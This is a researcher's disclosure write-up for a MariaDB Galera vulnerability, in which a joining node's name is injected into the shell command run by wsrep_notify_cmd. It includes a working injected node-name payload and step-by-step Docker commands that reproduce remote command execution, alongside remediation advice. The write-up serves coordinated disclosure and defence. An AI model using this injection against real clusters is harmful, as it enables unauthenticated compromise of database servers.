August 8, 2026
MariaDB CVE-2026–49261: Pre-Authentication Remote Code Execution via wsrep_notify_cmd
How an attacker-controlled Galera node name resulted in arbitrary OS command execution across cluster members.

By LETCHU PKT
4 min read
Overview
Distributed databases introduce new attack surfaces that often do not exist in standalone deployments. One such surface exists in MariaDB's Galera Cluster notification mechanism, where metadata exchanged between cluster nodes is trusted and incorporated into operating system commands.
During my security research on MariaDB, I discovered a pre-authentication Remote Code Execution (RCE) vulnerability affecting the Galera Cluster implementation. If a cluster member has wsrep_notify_cmd configured, a malicious node can join the cluster and inject shell commands through the wsrep_node_name parameter. Because the notification command is executed using sh -c without proper escaping, the injected payload is executed with the privileges of the MariaDB server process.
This issue has been assigned:
CVE-2026–49261
Vulnerability Summary
CVE ID : CVE-2026–49261 Severity : Critical CWE : CWE-78 Attack Vector : Network Authentication : None (Pre-authentication) Component : wsrep_notify_cmd (Galera) Impact : Remote Code Execution Execution Context : mysql server process
Why This Matters
Galera Cluster allows nodes to exchange membership information over the replication protocol. Administrators may configure wsrep_notify_cmd so that scripts are executed whenever cluster membership changes.
The assumption is that node metadata received from peers is trustworthy.
In reality, one of those fields (wsrep_node_name) is entirely controlled by the joining node.
Because MariaDB later inserts this value directly into a shell command, a remote attacker can execute arbitrary operating system commands on every vulnerable cluster member.
Unlike many database vulnerabilities, this attack requires no SQL authentication. An attacker only needs network access to the Galera replication port and the ability to join the cluster.
High-Level Attack Flow
Attacker starts malicious Galera node
│
▼
Sets malicious wsrep_node_name
│
▼
Victim receives cluster membership update
│
▼
MariaDB builds notification command
│
▼
User-controlled node name inserted
without escaping
│
▼
sh -c "<generated command>"
│
▼
Arbitrary OS Command ExecutionAttacker starts malicious Galera node
│
▼
Sets malicious wsrep_node_name
│
▼
Victim receives cluster membership update
│
▼
MariaDB builds notification command
│
▼
User-controlled node name inserted
without escaping
│
▼
sh -c "<generated command>"
│
▼
Arbitrary OS Command ExecutionRoot Cause Analysis
Step 1 — Attacker Controls wsrep_node_name
A Galera node advertises its name to every other member of the cluster.
For example:
wsrep_node_name=production-nodewsrep_node_name=production-nodeSince this value originates from the remote node, an attacker can instead supply:
x; touch /tmp/PWNED_BY_ATTACKER; #x; touch /tmp/PWNED_BY_ATTACKER; #No authentication is required before this metadata is exchanged.
Step 2 — Notification Command Construction
Whenever cluster membership changes,
MariaDB executes
wsrep_notify_status()wsrep_notify_status()Inside sql/wsrep_notify.cc.
The command is constructed using snprintf():
cmd_off += snprintf(
cmd_ptr + cmd_off,
cmd_len - cmd_off,
"%c%s/%s/%s",
i > 0 ? ',' : ' ',
id.str().c_str(),
members[i].name().c_str(),
members[i].incoming().c_str());cmd_off += snprintf(
cmd_ptr + cmd_off,
cmd_len - cmd_off,
"%c%s/%s/%s",
i > 0 ? ',' : ' ',
id.str().c_str(),
members[i].name().c_str(),
members[i].incoming().c_str());The critical issue is that
members[i].name()members[i].name()is inserted directly into the shell command without escaping or validation.
Step 3 — Shell Execution
Once the command string is complete,
MariaDB launches it through
sh -csh -cusing the WSREP process helper.
A simplified command resembles:
/bin/true \
--members uuid/victim-node/victim-node:0,\
uuid/x;touch /tmp/PWNED_BY_ATTACKER;#/attacker-node:0/bin/true \
--members uuid/victim-node/victim-node:0,\
uuid/x;touch /tmp/PWNED_BY_ATTACKER;#/attacker-node:0Because the shell interprets semicolons as command separators, the injected payload executes immediately.
Root Cause Diagram
Remote Node
│
▼
wsrep_node_name
(attacker controlled)
│
▼
Cluster Membership Update
│
▼
snprintf()
│
▼
Notification Command
│
▼
sh -c
│
▼
Remote Code ExecutionRemote Node
│
▼
wsrep_node_name
(attacker controlled)
│
▼
Cluster Membership Update
│
▼
snprintf()
│
▼
Notification Command
│
▼
sh -c
│
▼
Remote Code ExecutionProof of Concept
Test Environment
Two Docker containers are sufficient to reproduce the vulnerability.
- Container 1 — Victim
- Container 2 — Attacker
No SQL credentials are required.
Step 1 — Create Docker Network
docker network create galera-pocdocker network create galera-pocStep 2 — Start the Victim Node
docker run -d \
--name victim-node \
--network galera-poc \
-e MARIADB_ROOT_PASSWORD=root \
mariadb:latest \
--wsrep-on=ON \
--wsrep-provider=/usr/lib/galera/libgalera_smm.so \
--wsrep-cluster-name=poc \
--wsrep-cluster-address=gcomm:// \
--wsrep-notify-cmd=/bin/truedocker run -d \
--name victim-node \
--network galera-poc \
-e MARIADB_ROOT_PASSWORD=root \
mariadb:latest \
--wsrep-on=ON \
--wsrep-provider=/usr/lib/galera/libgalera_smm.so \
--wsrep-cluster-name=poc \
--wsrep-cluster-address=gcomm:// \
--wsrep-notify-cmd=/bin/trueStep 3 — Start the Malicious Node
docker run -d \
--name attacker-node \
--network galera-poc \
-e MARIADB_ROOT_PASSWORD=root \
mariadb:latest \
--wsrep-on=ON \
--wsrep-provider=/usr/lib/galera/libgalera_smm.so \
--wsrep-cluster-name=poc \
--wsrep-cluster-address=gcomm://victim-node \
"--wsrep-node-name=x;touch /tmp/PWNED_BY_ATTACKER;#"docker run -d \
--name attacker-node \
--network galera-poc \
-e MARIADB_ROOT_PASSWORD=root \
mariadb:latest \
--wsrep-on=ON \
--wsrep-provider=/usr/lib/galera/libgalera_smm.so \
--wsrep-cluster-name=poc \
--wsrep-cluster-address=gcomm://victim-node \
"--wsrep-node-name=x;touch /tmp/PWNED_BY_ATTACKER;#"Step 4 — Verify Command Execution
After a few seconds, inspect the victim container:
docker exec victim-node ls -l /tmp/PWNED_BY_ATTACKERdocker exec victim-node ls -l /tmp/PWNED_BY_ATTACKEROutput:
-rw-rw---- 1 mysql mysql 0 May 22 13:25 /tmp/PWNED_BY_ATTACKER-rw-rw---- 1 mysql mysql 0 May 22 13:25 /tmp/PWNED_BY_ATTACKERThe file is created by the victim node, demonstrating successful remote command execution.
Evidence from MariaDB Logs
The server logs clearly show the injected payload being incorporated into the notification command.
WSREP: Notification command failed:
/bin/true
--status synced
--members
179a.../victim-node/victim-node:0,
bbb3.../x;touch /tmp/PWNED_BY_ATTACKER;#/attacker-node:0WSREP: Notification command failed:
/bin/true
--status synced
--members
179a.../victim-node/victim-node:0,
bbb3.../x;touch /tmp/PWNED_BY_ATTACKER;#/attacker-node:0Notice that the malicious node name appears exactly as supplied by the attacker.
The shell interprets the semicolon as a command separator and executes:
touch /tmp/PWNED_BY_ATTACKERtouch /tmp/PWNED_BY_ATTACKERSecurity Impact
A remote attacker capable of reaching the Galera replication service can execute arbitrary operating system commands on any cluster member that has wsrep_notify_cmd configured.
Potential consequences include:
- Complete compromise of the database server
- Remote malware deployment
- Credential theft
- Database exfiltration
- Persistence on the host
- Lateral movement within the network
- Compromise of additional cluster members
Because the attack is pre-authentication, it significantly lowers the barrier to exploitation compared to vulnerabilities requiring SQL credentials.
Root Cause
The vulnerability stems from two design decisions:
- Trusting attacker-controlled cluster metadata.
- Executing notification commands through
sh -c.
Any user-controlled value passed through a shell without proper escaping can become an OS command injection primitive.
The safest approach is to avoid shell interpretation entirely.
Remediation
MariaDB addressed the issue by preventing attacker-controlled metadata from reaching the shell unsafely.
Recommended secure practices include:
- Properly escaping all user-controlled values.
- Validating node metadata received from peers.
- Replacing
sh -cexecution with directexecve()orposix_spawn()argument vectors. - Treating all network-supplied cluster metadata as untrusted input.
Removing the shell from the execution path eliminates this entire class of vulnerabilities.
Timeline
📩 May 22, 2026
Responsible disclosure submitted to the MariaDB Security Team.
✅ May 22, 2026
MariaDB confirmed the vulnerability and marked the report as Triaged.
🆔 June 2, 2026
The issue was assigned CVE-2026–49261.
🔧 June 2, 2026
A security fix was completed and the report was marked Resolved.
🌍 August 2026
Technical details publicly disclosed following coordinated disclosure.
Credits
Researcher: Lakshmikanthan K (letchu_pkt)
Security Researcher & DevSecOps Engineer
- GitHub: https://github.com/l3tchupkt
- LinkedIn: https://linkedin.com/in/lakshmikanthank
Closing Thoughts
This vulnerability highlights a common but dangerous pattern in distributed systems: trusting metadata received from remote peers. While wsrep_node_name appears to be harmless cluster information, its direct incorporation into a shell command transformed it into a powerful remote code execution primitive.
The most effective defense is to avoid invoking a shell when executing external processes. Passing arguments directly through APIs such as execve() or posix_spawn() prevents shell interpretation entirely and removes an entire class of command injection vulnerabilities from the codebase.